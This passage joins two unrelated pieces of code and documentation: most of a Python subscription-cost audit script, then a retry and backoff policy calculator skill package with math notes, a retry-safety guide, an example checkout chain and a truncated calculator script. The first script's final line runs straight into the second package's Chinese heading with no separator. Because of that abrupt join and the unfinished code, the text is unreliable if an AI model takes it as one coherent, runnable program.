PER_MONTH = {"d": Decimal("30.436875"), "w": Decimal("4.348125"), "m": Decimal(1), "y": Decimal(1) / 12}
D2 = Decimal("0.01")
class AuditError(ValueError):
pass
def parse_cycle(s):
s = (s or "").strip().lower()
if s in NAMED:
n, u = NAMED[s]
return n, u
m = re.fullmatch(r"(?:every\s+)?(\d+)\s*([a-z]+)", s)
if m and m.group(2) in UNIT:
n, u = int(m.group(1)), UNIT[m.group(2)]
if n <= 0:
raise AuditError(f"cycle must be positive: {s!r}")
if u == "y":
return n * 12, "m"
return n, u
raise AuditError(f"unknown cycle {s!r} (use weekly, monthly, quarterly, yearly or 'every 2 months')")
def monthly_factor(n, u):
"""How many charges per month for a cycle of n units."""
return PER_MONTH[u] / n
def add_cycle(d, n, u):
if u == "d":
return d + dt.timedelta(days=n)
if u == "w":
return d + dt.timedelta(weeks=n)
m = d.month - 1 + n
y, m = d.year + m // 12, m % 12 + 1
return dt.date(y, m, min(d.day, calendar.monthrange(y, m)[1]))
def parse_date(s, field, name):
s = (s or "").strip()
if not s:
return None
try:
return dt.date.fromisoformat(s)
except ValueError:
raise AuditError(f"{name}: bad {field} date {s!r} (use YYYY-MM-DD)")
def money(s, field, name, required=False):
s = (s or "").strip().replace(",", "") if (s or "").count(",") and "." in (s or "") else (s or "").strip().replace(",", ".")
if not s:
if required:
raise AuditError(f"{name}: {field} is required")
return None
try:
v = Decimal(s)
except Exception:
raise AuditError(f"{name}: bad {field} {s!r}")
if v < 0:
raise AuditError(f"{name}: {field} cannot be negative")
return v
def q(v):
return v.quantize(D2, rounding=ROUND_HALF_UP)
def load(lines):
rd = csv.DictReader(lines)
if not rd.fieldnames:
raise AuditError("empty CSV")
rows = []
for r in rd:
r = {(k or "").strip().lower(): (v or "").strip() for k, v in r.items()}
if not any(r.values()):
continue
if not r.get("name"):
raise AuditError("every row needs a name")
rows.append(r)
if not rows:
raise AuditError("no subscriptions found")
return rows
def audit(rows, currency="EUR", rates=None, today=None, days=30, unused_days=45):
rates = {k.upper(): Decimal(str(v)) for k, v in (rates or {}).items()}
rates[currency.upper()] = Decimal(1)
today = today or dt.date.today()
horizon = today + dt.timedelta(days=days)
items, flags, renewals, raw = [], [], [], {}
for r in rows:
name = r["name"]
cur = (r.get("currency") or currency).upper()
if cur not in rates:
raise AuditError(f"{name}: no rate for {cur}; pass --rate {cur}=<value in {currency}>")
rate = rates[cur]
n, u = parse_cycle(r.get("cycle"))
amount = money(r.get("amount"), "amount", name, required=True)
after_trial = money(r.get("paid_after_trial"), "paid_after_trial", name)
trial_end = parse_date(r.get("trial_end"), "trial_end", name)
users = int(r.get("users") or 1)
if users < 1:
raise AuditError(f"{name}: users must be at least 1")
charge = amount * rate
f = monthly_factor(n, u)
monthly = charge * f
item = {"name": name, "category": r.get("category") or "Other", "currency": cur, "amount": float(amount),
"cycle": r.get("cycle"), "monthly": q(monthly), "yearly": q(monthly * 12), "users": users,
"your_monthly": q(monthly / users), "your_yearly": q(monthly * 12 / users)}
raw[name] = (monthly, monthly / users)
items.append(item)
nxt = parse_date(r.get("next_renewal"), "next_renewal", name)
if nxt:
while nxt < today:
nxt = add_cycle(nxt, n, u)
item["next_renewal"] = nxt.isoformat()
d = nxt
while d <= horizon:
due = charge
if trial_end and d >= trial_end and after_trial is not None:
due = after_trial * rate
renewals.append({"date": d.isoformat(), "name": name, "amount": q(due)})
d = add_cycle(d, n, u)
if (n, u) in ((12, "m"),) or (u == "m" and n >= 12):
if nxt <= horizon:
flags.append({"name": name, "flag": "RENEWS_YEARLY",
"detail": f"{q(charge)} {currency} charge on {nxt.isoformat()}; decide before then"})
last = parse_date(r.get("last_used"), "last_used", name)
if last and (today - last).days > unused_days:
flags.append({"name": name, "flag": "UNUSED",
"detail": f"last used {last.isoformat()} ({(today - last).days} days ago); costs {q(monthly * 12)} {currency}/year"})
if trial_end and today <= trial_end <= horizon:
extra = (f"; then {q(after_trial * rate)} {currency} per charge ({q(after_trial * rate * f * 12)} {currency}/year)"
if after_trial is not None else "")
flags.append({"name": name, "flag": "TRIAL",
"detail": f"trial ends {trial_end.isoformat()} ({(trial_end - today).days} days){extra}; cancel or keep on purpose"})
prev = money(r.get("previous_amount"), "previous_amount", name)
if prev and amount > prev:
pct = (amount - prev) / prev * 100
flags.append({"name": name, "flag": "PRICE_UP",
"detail": f"{prev} -> {amount} {cur} (+{q(pct)}%), +{q((amount - prev) * rate * f * 12)} {currency}/year"})
annual = money(r.get("annual_price"), "annual_price", name)
if annual is not None and not (u == "m" and n == 12):
save = monthly * 12 - annual * rate
if save > 0:
flags.append({"name": name, "flag": "ANNUAL_SAVES",
"detail": f"annual plan {q(annual * rate)} {currency} vs {q(monthly * 12)} {currency} paid {r.get('cycle')}: saves {q(save)} {currency}/year if you keep it 12 months"})
cats = {}
for it in items:
c = cats.setdefault(it["category"], {"count": 0, "monthly": Decimal(0), "names": []})
c["count"] += 1
c["monthly"] += raw[it["name"]][0]
c["names"].append(it["name"])
for cname, c in sorted(cats.items()):
if c["count"] > 1:
flags.append({"name": ", ".join(c["names"]), "flag": "OVERLAP",
"detail": f"{c['count']} subscriptions in {cname} ({q(c['monthly'])} {currency}/month); keep the one you use most"})
order = {"TRIAL": 0, "RENEWS_YEARLY": 1, "UNUSED": 2, "OVERLAP": 3, "PRICE_UP": 4, "ANNUAL_SAVES": 5}
flags.sort(key=lambda x: (order[x["flag"]], x["name"]))
renewals.sort(key=lambda x: (x["date"], x["name"]))
unused_names = {f["name"] for f in flags if f["flag"] == "UNUSED"}
total_m = sum((raw[it["name"]][0] for it in items), Decimal(0))
your_m = sum((raw[it["name"]][1] for it in items), Decimal(0))
return {
"currency": currency, "today": today.isoformat(), "days": days, "rates": {k: str(v) for k, v in rates.items()},
"count": len(items), "monthly_total": q(total_m), "yearly_total": q(total_m * 12),
"your_monthly_total": q(your_m), "your_yearly_total": q(your_m * 12),
"unused_yearly": q(sum((raw[it["name"]][0] * 12 for it in items if it["name"] in unused_names), Decimal(0))),
"next_days_total": q(sum((x["amount"] for x in renewals), Decimal(0))),
"by_category": {k: {"count": v["count"], "monthly": q(v["monthly"])} for k, v in sorted(cats.items(), key=lambda kv: -kv[1]["monthly"])},
"items": sorted(items, key=lambda it: -it["monthly"]), "renewals": renewals, "flags": flags,
}
def to_markdown(r):
c = r["currency"]
out = ["# Subscription audit", "",
f"**As of:** {r['today']} **Subscriptions:** {r['count']} **Currency:** {c} **Rates:** "
+ ", ".join(f"1 {k} = {v} {c}" for k, v in r["rates"].items() if k != c.upper()),
f"**Total:** {r['monthly_total']} {c}/month = {r['yearly_total']} {c}/year "
f"**Your share:** {r['your_monthly_total']} {c}/month = {r['your_yearly_total']} {c}/year",
f"**Unused (yearly cost):** {r['unused_yearly']} {c} **Charges in next {r['days']} days:** {r['next_days_total']} {c}",
"", "## Action list", ""]
out += [f"- **{f['flag']}** {f['name']}: {f['detail']}" for f in r["flags"]] or ["- Nothing to act on."]
out += ["", "## All subscriptions (most expensive first)", "",
"| Name | Category | Charge | Cycle | Per month | Per year | Users | Your year | Next renewal |",
"|---|---|---|---|---|---|---|---|---|"]
for it in r["items"]:
out.append(f"| {it['name']} | {it['category']} | {it['amount']:.2f} {it['currency']} | {it['cycle']} | {it['monthly']} | "
f"{it['yearly']} | {it['users']} | {it['your_yearly']} | {it.get('next_renewal', '')} |")
out += ["", "## By category", "", "| Category | Count | Per month |", "|---|---|---|"]
out += [f"| {k} | {v['count']} | {v['monthly']} |" for k, v in r["by_category"].items()]
out += ["", f"## Charges in the next {r['days']} days", ""]
out += [f"- {x['date']} {x['name']}: {x['amount']} {c}" for x in r["renewals"]] or ["- none"]
return "\n".join(out)
def self_test():
cases = []
def ok(name, cond):
cases.append((name, bool(cond)))
T = dt.date(2026, 10, 20)
hdr = "name,amount,currency,cycle,next_renewal,category,last_used,users,trial_end,previous_amount,annual_price,paid_after_trial"
def run(*lines, **kw):
return audit(load([hdr, *lines]), today=T, **kw)
ok("named cycles", parse_cycle("Quarterly") == (3, "m") and parse_cycle("annual") == (12, "m"))
ok("every N units", parse_cycle("every 2 weeks") == (2, "w") and parse_cycle("1y") == (12, "m"))
ok("month end clamps", add_cycle(dt.date(2026, 1, 31), 1, "m") == dt.date(2026, 2, 28))
ok("leap year clamp", add_cycle(dt.date(2027, 2, 28), 12, "m") == dt.date(2028, 2, 28) and add_cycle(dt.date(2028, 1, 31), 1, "m") == dt.date(2028, 2, 29))
r = run("A,10,EUR,monthly,,X,,,,,,")
ok("monthly 10 = 120/year", r["yearly_total"] == Decimal("120.00"))
r = run("A,120,EUR,yearly,,X,,,,,,")
ok("yearly 120 = 10/month", r["monthly_total"] == Decimal("10.00"))
r = run("A,5,EUR,weekly,,X,,,,,,")
ok("weekly 5 = 260.89/year", r["yearly_total"] == Decimal("260.89") and r["items"][0]["monthly"] == Decimal("21.74"))
r = run("A,1,EUR,monthly,,X,,3,,,,", "B,1,EUR,monthly,,X,,3,,,,", "C,1,EUR,monthly,,X,,3,,,,")
ok("totals use unrounded shares", r["your_monthly_total"] == Decimal("1.00"))
r = run("A,10,USD,monthly,,X,,,,,,", rates={"USD": "0.9"})
ok("currency rate applied", r["monthly_total"] == Decimal("9.00"))
try:
run("A,10,GBP,monthly,,X,,,,,,")
ok("missing rate rejected", False)
except AuditError:
ok("missing rate rejected", True)
r = run("Fam,20,EUR,monthly,,Music,,4,,,,")
ok("shared plan your share", r["your_monthly_total"] == Decimal("5.00") and r["monthly_total"] == Decimal("20.00"))
r = run("Old,10,EUR,monthly,,X,2026-07-01,,,,,")
ok("unused flagged", any(f["flag"] == "UNUSED" for f in r["flags"]) and r["unused_yearly"] == Decimal("120.00"))
r = run("Fresh,10,EUR,monthly,,X,2026-10-01,,,,,")
ok("recent use not flagged", not r["flags"])
r = run("A,10,EUR,monthly,,Video,,,,,,", "B,8,EUR,monthly,,Video,,,,,,")
ok("overlap flagged", [f["flag"] for f in r["flags"]] == ["OVERLAP"])
r = run("T,0,EUR,monthly,2026-10-25,Software,,,2026-10-25,,,24.99")
ok("trial flagged with paid price", r["flags"][0]["flag"] == "TRIAL" and "24.99" in r["flags"][0]["detail"])
ok("trial charge counted in renewals", r["renewals"][0]["amount"] == Decimal("24.99"))
r = run("P,12,EUR,monthly,,X,,,,10,,")
ok("price increase flagged", r["flags"][0]["flag"] == "PRICE_UP" and "+20.00%" in r["flags"][0]["detail"] and "+24.00" in r["flags"][0]["detail"])
r = run("M,10,EUR,monthly,,X,,,,,99,")
ok("annual saving flagged", r["flags"][0]["flag"] == "ANNUAL_SAVES" and "saves 21.00" in r["flags"][0]["detail"])
r = run("M,10,EUR,monthly,,X,,,,,130,")
ok("no saving when annual is pricier", not r["flags"])
r = run("Y,50,EUR,yearly,2026-11-01,X,,,,,,")
ok("yearly renewal soon flagged", r["flags"][0]["flag"] == "RENEWS_YEARLY")
r = run("W,1,EUR,weekly,2026-10-21,X,,,,,,")
ok("weekly renewals listed in window", len(r["renewals"]) == 5 and r["next_days_total"] == Decimal("5.00"))
r = run("Past,10,EUR,monthly,2026-08-15,X,,,,,,")
ok("rolled forward to the future", r["items"][0]["next_renewal"] == "2026-11-15")
for line, label in [("A,-3,EUR,monthly,,X,,,,,,", "negative amount rejected"),
("A,3,EUR,sometimes,,X,,,,,,", "unknown cycle rejected"),
("A,3,EUR,monthly,20-10-2026,X,,,,,,", "bad date rejected"),
("A,3,EUR,monthly,,X,,0,,,,", "zero users rejected")]:
try:
run(line)
ok(label, False)
except AuditError:
ok(label, True)
ok("markdown has action list", "## Action list" in to_markdown(run("A,10,EUR,monthly,,X,,,,,,")))
passed = sum(c for _, c in cases)
for name, c in cases:
print(("PASS " if c else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def default(o):
if isinstance(o, Decimal):
return float(o)
raise TypeError(type(o))
def main(argv=None):
ap = argparse.ArgumentParser(description="Audit recurring subscriptions: true yearly cost, unused, overlapping, trials and renewals.")
ap.add_argument("file", nargs="?", help="subscriptions CSV ('-' for stdin)")
ap.add_argument("--currency", default="EUR", help="report currency (default EUR)")
ap.add_argument("--rate", action="append", default=[], metavar="CUR=VALUE",
help="1 CUR = VALUE report-currency units, e.g. USD=0.92 (repeatable)")
ap.add_argument("--today", help="evaluation date YYYY-MM-DD (default: today)")
ap.add_argument("--days", type=int, default=30, help="look-ahead for renewals and trials (default 30)")
ap.add_argument("--unused-days", type=int, default=45, help="flag items not used for this many days (default 45)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args(argv)
if a.self_test:
return self_test()
if not a.file:
ap.error("subscriptions CSV required (or --self-test)")
try:
rates = {}
for x in a.rate:
k, _, v = x.partition("=")
if not v:
raise AuditError(f"bad --rate {x!r}, use CUR=VALUE")
rates[k.strip().upper()] = Decimal(v.strip())
lines = sys.stdin.read().splitlines() if a.file == "-" else open(a.file, encoding="utf-8").read().splitlines()
today = dt.date.fromisoformat(a.today) if a.today else None
r = audit(load(lines), a.currency.upper(), rates, today, a.days, a.unused_days)
except (OSError, AuditError, ValueError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2, default=default, ensure_ascii=False) if a.json else to_markdown(r))
return 0
if __name__ == "__main__":
sys.exit(main())检查调用链重试/退避/超时以防重试风暴，计算延迟表与放大，标记危险配置。含 Python 计算器。
---
name: retry-backoff-policy-calculator
description: 检查调用链上的重试、退避与超时设置以防重试风暴。计算带 full/equal/decorrelated jitter 的指数延迟表、每层最坏延迟、期望尝试次数与请求放大。标记内层超时长于调用方、对非幂等调用重试、对 4xx 重试、忽略 Retry-After、以及缺失上限或截止时间。含 stdlib Python 计算器与 --self-test。
---
# 重试与退避策略计算器
你帮助工程师设置重试、退避与超时策略，使服务更可靠，而不是把小故障放大成大故障。你收集调用链每一跳（浏览器、网关、服务、数据库、第三方 API）的设置，计算它们在失败下真正会做什么，并提出带数字的更安全策略。
## 本技能中的文件
- `scripts/retry_policy.py` - 读取调用链 JSON 并打印延迟表、最坏延迟、期望尝试、放大与标志（仅 Python 3 标准库）
- `references/backoff-math.md` - 退避、抖动、最坏时间、期望尝试、放大与超时嵌套公式
## 工作方式
1. 收集调用链每层的超时、重试次数、退避基数/倍数、抖动类型、是否幂等、可重试状态码。
2. 计算指数退避时间表（含 jitter）。
3. 计算最坏情况端到端延迟与请求放大。
4. 标记：内层超时 > 外层、非幂等重试、4xx 重试、忽略 Retry-After、无最大重试/截止时间、放大过高。
5. 提出更安全的数值策略。
6. 需要时运行 `scripts/retry_policy.py --self-test`。
保留所有代码、JSON 键与脚本原样。以下为原技能完整正文：
# Retry and Backoff Policy Calculator
You help engineers set retry, backoff and timeout policies that make services more reliable instead of turning a small outage into a big one. You collect the settings of every hop in a call chain (browser, gateway, services, databases, third-party APIs), compute what they really do under failure, and propose a safer policy with numbers.
## Files in this skill
- `scripts/retry_policy.py` - reads a call-chain JSON and prints delay schedules, worst-case latency, expected tries, amplification and flags (Python 3 standard library only)
- `references/backoff-math.md` - formulas for backoff, jitter, worst-case time, expected tries, amplification and timeout nesting
- `references/retry-safety-guide.md` - what is safe to retry, idempotency keys, circuit breakers, retry budgets, common library settings
- `templates/retry-policy-review.md` - review report with current chain, findings and proposed policy
- `examples/checkout-chain.json` - a three-layer checkout chain with typical mistakes
## Workflow
### 1. Map the chain
Ask for each hop, outermost first: attempts (total tries), base delay, multiplier, max delay, jitter type, per-try timeout, overall deadline, what it retries on (status codes, "timeout", "network"), whether the call is idempotent, whether an idempotency key is sent, and whether Retry-After is honored. Read them from code or config (SDK clients, HTTP client retry adapters, Envoy/Istio routes, gRPC service config, job queues). Unknown values: use the library default and mark them as assumed.
### 2. Run the calculator
```
python3 scripts/retry_policy.py examples/checkout-chain.json
python3 scripts/retry_policy.py chain.json --failure-rate 0.5 --max-amplification 8
python3 scripts/retry_policy.py chain.json --json > retry-report.json
python3 scripts/retry_policy.py --self-test
```
Exit code 1 means high-severity findings, 2 means bad input.
### 3. Explain the findings
Order: RETRY_UNSAFE and AMPLIFICATION first (they cause duplicate side effects and outages), then INNER_OUTLIVES_CALLER, HOT_LOOP, NO_PER_TRY_TIMEOUT, then medium and low. Explain each with the numbers from the report, for example "one checkout can become 36 calls to the payments provider".
### 4. Propose a fixed policy
Use `references/backoff-math.md` and `references/retry-safety-guide.md`: retry at one layer, full jitter with a cap, inner worst case below the caller's per-try timeout, deadlines passed down, idempotency keys for writes, no retries on 4xx except 408/429, Retry-After honored, a retry budget or circuit breaker. Re-run the script on the proposed JSON and show before and after.
### 5. Write it up
Fill `templates/retry-policy-review.md` and give config snippets for the user's library.
## Example result
For `examples/checkout-chain.json` at 30% failure rate: worst-case amplification 36 calls per checkout (expected 2.74); the gateway layer's 9.3 s worst case outlives the web app's 8 s per-try timeout; the payments layer retries a non-idempotent charge 4 times without an idempotency key and retries 409; no jitter at the gateway; Retry-After ignored on 429/503.
## Rules
- Never recommend retrying a non-idempotent call without an idempotency key.
- Keep numbers honest: label library defaults and guesses as assumptions.
- Prefer fewer retries with good timeouts over many retries.
- Recommend load tests or fault injection to confirm the policy, not just the math.
FILE:references/backoff-math.md
# Backoff and Timeout Math
## Terms
- **attempts**: total tries including the first. attempts 3 = 1 try + 2 retries.
- **base**: first retry delay. **multiplier**: growth factor (usually 2). **cap**: max single delay.
- **per-try timeout**: how long one try may take before it is abandoned.
- **deadline**: total time budget for the call including all tries and delays.
## Delay before retry k (k = 1 .. attempts-1)
d(k) = min(cap, base x multiplier^(k-1))
| Jitter | Delay | Range | Mean |
|---|---|---|---|
| none | d | d | d |
| full | random(0, d) | 0 .. d | d/2 |
| equal | d/2 + random(0, d/2) | d/2 .. d | 0.75 d |
| decorrelated | min(cap, random(base, 3 x previous)) | base .. min(cap, base x 3^k) | simulated |
Full jitter spreads load best and is the default recommendation. Equal jitter keeps a minimum wait. Decorrelated jitter adapts to the previous delay and works well for long-running clients.
## Worst-case duration of one call
worst = attempts x per_try_timeout + sum of max delays, then cut at the deadline if one is set.
Example: 3 tries x 1 s + 100 ms + 200 ms = 3.3 s.
## Expected tries
With an independent failure probability p per try and n attempts:
E[tries] = 1 + p + p^2 + ... + p^(n-1)
p = 0.3, n = 3 -> 1.39. During a full outage p = 1 and E = n.
## Amplification across layers
If layer A retries 3 times and calls B, which retries 3 times and calls C, which retries 4 times, one user request can become 3 x 3 x 4 = 36 calls to C during an outage. This is a retry storm: the retries keep the failing service overloaded, so it cannot recover.
Rules of thumb:
- Retry at one layer only, usually the one closest to the user or the one that owns the idempotency key.
- Inner layers: attempts 1 or 2 with a short deadline.
- Keep worst-case amplification at or below about 10.
- Add a **retry budget**: retries may be at most 10-20% of requests over a sliding window; past that, fail fast.
## Timeout nesting
Each layer's worst case must fit inside its caller's per-try timeout, minus a margin for network and work:
inner_worst <= outer_per_try_timeout - margin
Otherwise the caller abandons the try and retries while the inner layer is still working, which doubles load. Pass a deadline down the chain (for example a `grpc-timeout` or `X-Request-Deadline` header) and stop when it is used up.
## Retry-After
For 429 and 503, servers may send `Retry-After: <seconds>` or an HTTP date. Wait at least that long (use max(Retry-After, computed backoff)), and give up if it is longer than the remaining deadline.
FILE:references/retry-safety-guide.md
# Retry Safety Guide
## What to retry
| Outcome | Retry? | Notes |
|---|---|---|
| Connection refused / reset before the request was sent | Yes | Safe for any method |
| Timeout after the request was sent | Only if idempotent or with an idempotency key | The server may have done the work |
| 408 Request Timeout | Yes, with backoff | |
| 429 Too Many Requests | Yes, after Retry-After | Never faster than the server asks |
| 500 Internal Server Error | Sometimes | Only if the error is known to be transient |
| 502 / 503 / 504 | Yes, with backoff and jitter | Honor Retry-After on 503 |
| 400 / 401 / 403 / 404 / 405 / 410 / 422 | No | Same request fails the same way; fix the request, refresh auth once at most |
| 409 Conflict | Usually no | Exception: an idempotency key that is still in progress, retry after a short wait |
## Idempotency
- GET, HEAD, OPTIONS, PUT and DELETE are idempotent by HTTP semantics, if the server implements them correctly.
- POST and PATCH are not. To retry them, send an **idempotency key** (a UUID per logical operation, e.g. `Idempotency-Key` header) that the server stores with the result for 24 hours or more. Generate the key once, before the first try, and reuse it for every retry.
- Payments, emails, SMS, order creation and stock reservation must never be retried without a key.
## Client checklist
1. Per-try timeout set and shorter than the caller's.
2. Overall deadline set and passed down the chain.
3. Exponential backoff with a cap and full jitter.
4. attempts <= 3 at the edge, 1-2 inside.
5. Retry only on the table's "Yes" rows.
6. Idempotency key on every retried non-idempotent call.
7. Retry budget or circuit breaker so retries stop during an outage.
8. Metrics: tries per request, retry rate, give-up count, by dependency.
9. Log the final error with the attempt count, not every attempt at error level.
## Circuit breaker basics
- Closed: calls flow; count failures in a rolling window.
- Open: after for example 50% failures over at least 20 calls, fail fast for 30 s.
- Half-open: let a few trial calls through; close if they succeed.
A breaker and a retry budget together stop retry storms from deepening an outage.
## Common library settings
- AWS SDKs: standard mode = 3 attempts, full jitter, base 1 s for throttling; adaptive mode adds client-side rate limiting.
- gRPC retry policy: maxAttempts, initialBackoff, maxBackoff, backoffMultiplier, retryableStatusCodes (UNAVAILABLE is the usual one); retries need hedging/transparent retry rules for non-idempotent methods.
- Envoy / Istio: retry_on: 5xx,reset,connect-failure; num_retries; per_try_timeout; set route timeout >= per_try_timeout x (num_retries + 1).
- Python `urllib3.Retry(total=3, backoff_factor=0.5, status_forcelist=[502,503,504], respect_retry_after_header=True, allowed_methods=[...])`.
Check the library docs for the version you use; defaults change.
FILE:templates/retry-policy-review.md
# Retry Policy Review - <service / call chain> - <date>
**Reviewer:** <name> **Input:** <chain JSON / config files> **Failure rate assumed:** <30%>
## Chain
| # | Caller -> callee | Attempts | Backoff (base / x / cap) | Jitter | Per-try timeout | Deadline | Worst case |
|---|---|---|---|---|---|---|---|
| 1 | | | | | | | |
**Worst-case amplification:** <36> calls per request (target <= 10)
**Expected amplification at <p>:** <2.7>
## Findings
| Severity | Layer | Code | Problem | Fix |
|---|---|---|---|---|
| high | | | | |
## Proposed policy
| # | Caller -> callee | Attempts | Backoff | Jitter | Per-try timeout | Deadline | Retry on |
|---|---|---|---|---|---|---|---|
| 1 | | | | full | | | |
**New worst-case amplification:** <n> **New worst-case latency:** <s>
## Follow-ups
- [ ] Idempotency keys for: <calls>
- [ ] Retry budget / circuit breaker for: <dependency>
- [ ] Dashboards: tries per request, retry rate, give-ups
FILE:examples/checkout-chain.json
{
"name": "checkout: browser -> api gateway -> orders service -> payments provider",
"failure_rate": 0.3,
"max_amplification": 10,
"layers": [
{
"name": "web app -> api gateway",
"attempts": 3,
"base_delay_ms": 200,
"multiplier": 2,
"max_delay_ms": 2000,
"jitter": "full",
"per_try_timeout_ms": 8000,
"deadline_ms": 20000,
"retry_on": ["network", 502, 503, 504],
"idempotent": true,
"respect_retry_after": true
},
{
"name": "api gateway -> orders service",
"attempts": 3,
"base_delay_ms": 100,
"multiplier": 2,
"max_delay_ms": 1000,
"jitter": "none",
"per_try_timeout_ms": 3000,
"retry_on": [500, 502, 503, 504, "timeout"],
"idempotent": true
},
{
"name": "orders service -> payments provider (create charge)",
"attempts": 4,
"base_delay_ms": 250,
"multiplier": 2,
"jitter": "equal",
"per_try_timeout_ms": 2500,
"deadline_ms": 9000,
"retry_on": [409, 429, 500, 503, "timeout"],
"idempotent": false,
"idempotency_key": false,
"respect_retry_after": false
}
]
}
FILE:scripts/retry_policy.py
#!/usr/bin/env python3
"""Retry and backoff policy calculator (Python 3 standard library only).
Input: a JSON file describing a call chain, outermost caller first:
{"name": "checkout", "failure_rate": 0.3, "max_amplification": 10,
"layers": [
{"name": "web -> api", "attempts": 3, "base_delay_ms": 100, "multiplier": 2,
"max_delay_ms": 2000, "jitter": "full", "per_try_timeout_ms": 5000,
"deadline_ms": 12000, "retry_on": [502, 503, 504, "timeout"],
"idempotent": true, "respect_retry_after": true}, ...]}
attempts = total tries including the first one (attempts 1 = no retries).
jitter: none | full | equal | decorrelated. Delay before retry k (k = 1..attempts-1):
none d = min(cap, base * multiplier^(k-1))
full U(0, d) equal d/2 + U(0, d/2)
decorrelated min(cap, U(base, 3 * previous)) (AWS style; expected value simulated, seed 7)
Reports per layer: delay schedule (min / expected / max), worst-case time for one call
(attempts x per-try timeout + max delays, cut at deadline), expected tries at the given
failure rate, and for the chain: worst-case and expected request amplification at the
innermost dependency. Flags:
NO_JITTER, NO_CAP, HOT_LOOP (base 0), TOO_MANY_ATTEMPTS (> 5), NO_PER_TRY_TIMEOUT,
NO_DEADLINE, DEADLINE_TOO_SHORT (deadline < one per-try timeout), INNER_OUTLIVES_CALLER
(worst case > the outer layer's per-try timeout), RETRY_UNSAFE (non-idempotent with
retries and no idempotency key), RETRY_ON_4XX (retrying 400/401/403/404/409/422),
IGNORES_RETRY_AFTER (retries 429/503 without honoring Retry-After), AMPLIFICATION.
Usage:
python3 retry_policy.py chain.json
python3 retry_policy.py chain.json --failure-rate 0.5 --json
python3 retry_policy.py --self-test
Exit code: 0 OK, 1 high-severity flags found, 2 bad input.
"""
import argparse
import json
import random
import sys
JITTERS = ("none", "full", "equal", "decorrelated")
BAD_4XX = {400, 401, 403, 404, 405, 409, 410, 422}
SEVERITY = {"INNER_OUTLIVES_CALLER": "high", "RETRY_UNSAFE": "high", "AMPLIFICATION": "high",
"HOT_LOOP": "high", "NO_PER_TRY_TIMEOUT": "high", "RETRY_ON_4XX": "medium",
"NO_JITTER": "medium", "NO_CAP": "medium", "IGNORES_RETRY_AFTER": "medium",
"NO_DEADLINE": "medium", "DEADLINE_TOO_SHORT": "medium", "TOO_MANY_ATTEMPTS": "low"}
class PolicyError(ValueError):
pass
def num(layer, key, default=None, minimum=0):
v = layer.get(key, default)
if v is None:
return None
if isinstance(v, bool) or not isinstance(v, (int, float)):
raise PolicyError(f"layer {layer.get('name', '?')!r}: {key} must be a number")
if v < minimum:
raise PolicyError(f"layer {layer.get('name', '?')!r}: {key} must be >= {minimum}")
return v
def delays(layer):
"""Return [(min, expected, max)] in ms for each retry."""
n = int(layer["attempts"])
base, mult, cap = layer["base_delay_ms"], layer["multiplier"], layer["max_delay_ms"]
capf = (lambda x: x) if cap is None else (lambda x: min(cap, x))
j = layer["jitter"]
out = []
if j == "decorrelated":
rng = random.Random(7)
runs = 20000
sums = [0.0] * (n - 1)
for _ in range(runs):
prev = base
for k in range(n - 1):
prev = capf(rng.uniform(base, prev * 3)) if base > 0 else 0.0
sums[k] += prev
hi = base
for k in range(n - 1):
hi = capf(hi * 3)
out.append((capf(base), sums[k] / runs, hi))
return out
for k in range(n - 1):
d = capf(base * mult ** k)
if j == "none":
out.append((d, d, d))
elif j == "full":
out.append((0.0, d / 2, d))
else:
out.append((d / 2, d * 0.75, d))
return out
def normalize(raw):
layers = raw.get("layers") if isinstance(raw, dict) else None
if not layers or not isinstance(layers, list):
raise PolicyError("JSON must have a non-empty 'layers' list (outermost caller first)")
out = []
for i, l in enumerate(layers):
if not isinstance(l, dict):
raise PolicyError(f"layer {i} must be an object")
l = dict(l)
l.setdefault("name", f"layer {i + 1}")
a = num(l, "attempts", 1, 1)
if int(a) != a:
raise PolicyError(f"layer {l['name']!r}: attempts must be a whole number")
l["attempts"] = int(a)
l["base_delay_ms"] = num(l, "base_delay_ms", 0)
l["multiplier"] = num(l, "multiplier", 2, 1)
l["max_delay_ms"] = num(l, "max_delay_ms", None)
l["per_try_timeout_ms"] = num(l, "per_try_timeout_ms", None, 1)
l["deadline_ms"] = num(l, "deadline_ms", None, 1)
j = str(l.get("jitter", "none")).lower()
if j not in JITTERS:
raise PolicyError(f"layer {l['name']!r}: jitter must be one of {', '.join(JITTERS)}")
l["jitter"] = j
l["retry_on"] = list(l.get("retry_on", []))
l["idempotent"] = bool(l.get("idempotent", True))
l["idempotency_key"] = bool(l.get("idempotency_key", False))
l["respect_retry_after"] = bool(l.get("respect_retry_after", False))
out.append(l)
return out
def expected_tries(n, p):
if p >= 1:
return float(n)
return sum(p ** k for k in range(n))
def analyze(raw, failure_rate=None, max_amp=None):
layers = normalize(raw)
p = failure_rate if failure_rate is not None else raw.get("failure_rate", 0.2)
if not 0 <= p <= 1:
raise PolicyError("failure rate must be between 0 and 1")
max_amp = max_amp if max_amp is not None else raw.get("max_amplification", 10)
res = {"name": raw.get("name", "retry policy"), "failure_rate": p, "max_amplification": max_amp, "layers": []}
worst_amp, exp_amp = 1, 1.0
for i, l in enumerate(layers):
n = l["attempts"]
ds = delays(l)
flags = []
retries = n > 1
if retries and l["jitter"] == "none":
flags.append(("NO_JITTER", "all clients retry at the same moments; use full or decorrelated jitter"))
if retries and l["max_delay_ms"] is None and n > 3:
flags.append(("NO_CAP", "no max_delay_ms; exponential delays grow without bound"))
if retries and l["base_delay_ms"] == 0:
flags.append(("HOT_LOOP", "base_delay_ms is 0; retries fire immediately and hammer the dependency"))
if n > 5:
flags.append(("TOO_MANY_ATTEMPTS", f"{n} attempts; 3 (2 retries) is usually enough"))
if l["per_try_timeout_ms"] is None:
flags.append(("NO_PER_TRY_TIMEOUT", "no per-try timeout; one hung call can block every retry"))
if l["deadline_ms"] is None and retries:
flags.append(("NO_DEADLINE", "no overall deadline across attempts"))
if l["deadline_ms"] is not None and l["per_try_timeout_ms"] and l["deadline_ms"] < l["per_try_timeout_ms"]:
flags.append(("DEADLINE_TOO_SHORT", "deadline is shorter than a single try"))
if retries and not l["idempotent"] and not l["idempotency_key"]:
flags.append(("RETRY_UNSAFE", "retries a non-idempotent call without an idempotency key (double charge / duplicate write risk)"))
bad = sorted(c for c in l["retry_on"] if isinstance(c, int) and c in BAD_4XX)
if retries and bad:
flags.append(("RETRY_ON_4XX", f"retries client errors {bad}; they will fail the same way again"))
